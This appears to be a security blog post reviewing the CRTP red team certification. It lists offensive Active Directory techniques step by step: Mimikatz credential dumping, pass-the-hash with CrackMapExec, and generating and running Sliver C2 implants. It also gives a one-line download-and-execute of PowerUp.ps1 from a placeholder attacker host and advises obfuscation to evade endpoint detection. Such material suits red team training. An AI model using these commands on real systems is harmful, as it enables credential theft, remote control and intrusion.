Mastering Red Team Operations: Insights from the CRTP Certification

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Introduction

The Certified Red Team Professional (CRTP) certification stands out for its focus on Windows-based offensive security techniques, diverging from the typical Kali Linux-centric approach. This course, designed by Nikhil Mittal, emphasizes real-world red teaming tools like Sliver C2 and provides hands-on lab experience for mastering lateral movement, privilege escalation, and credential theft in Active Directory environments.

Learning Objectives

  • Understand Windows-based attack methodologies beyond Kali Linux tools.
  • Master credential dumping, lateral movement, and persistence techniques in Active Directory.
  • Implement alternative Command & Control (C2) frameworks like Sliver in red team engagements.

You Should Know

1. Extracting Credentials with Mimikatz

Command:

Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'

Step-by-Step Guide:

  1. Download Mimikatz or use the built-in `Invoke-Mimikatz` from PowerShell.
  2. Execute the command in a high-integrity (admin) context.
  3. The tool extracts plaintext passwords, NTLM hashes, and Kerberos tickets from LSASS memory.
  4. Use the output for pass-the-hash or golden/silver ticket attacks.

Note: Modern EDR solutions may flag Mimikatz. Use obfuscation or alternatives like SafetyKatz.

2. Lateral Movement via Pass-the-Hash

Command:

crackmapexec smb <TARGET_IP> -u <USERNAME> -H <NTLM_HASH> --local-auth

Step-by-Step Guide:

1. Obtain an NTLM hash (e.g., via Mimikatz).

  1. Use CrackMapExec to authenticate to a target machine.

3. Append `-x ` to execute commands remotely.

3. Sliver C2 Framework Basics

Command:

./sliver-server start

Step-by-Step Guide:

  1. Install Sliver on a Linux server (apt install sliver).

2. Start the server and generate implants:

generate --mtls <LISTENER_IP> --save /tmp/implant.exe

3. Execute the implant on the target to establish a session.

4. Privilege Escalation with PowerUp

Command:

Invoke-AllChecks

Step-by-Step Guide:

1. Load PowerUp.ps1 into memory:

IEX (New-Object Net.WebClient).DownloadString("http://<ATTACKER_IP>/PowerUp.ps1")

2. Run `Invoke-AllChecks` to identify misconfigurations (e.g., unquoted service paths).

5. Active Directory Enumeration with BloodHound

Command:

sharphound --collectionmethods All --outputfile bloodhound.json

Step-by-Step Guide:

  1. Run SharpHound on a domain-joined machine to collect AD data.
  2. Import the JSON into BloodHound to visualize attack paths.

What Undercode Say

  • Key Takeaway 1: CRTP’s Windows-centric approach fills a critical gap in red team training, as most enterprises rely on AD environments.
  • Key Takeaway 2: Sliver C2’s flexibility highlights the shift toward open-source, modular C2 frameworks replacing traditional tools like Cobalt Strike.

Analysis:

The CRTP course’s emphasis on Windows tradecraft reflects real-world red team needs, where AD compromises dominate engagements. Sliver’s rise signals a broader trend of defenders and attackers adapting to evade detection. Future certifications may integrate more AI-driven tooling (e.g., AI-generated payloads), but foundational AD exploitation remains timeless.

Prediction

Expect red team tools to increasingly leverage AI for automation (e.g., auto-generating phishing emails) and evasion. However, human creativity in bypassing defenses will remain irreplaceable, making certifications like CRTP essential for mastering the art of adversarial simulation.

IT/Security Reporter URL:

Reported By: Tonee Marqus – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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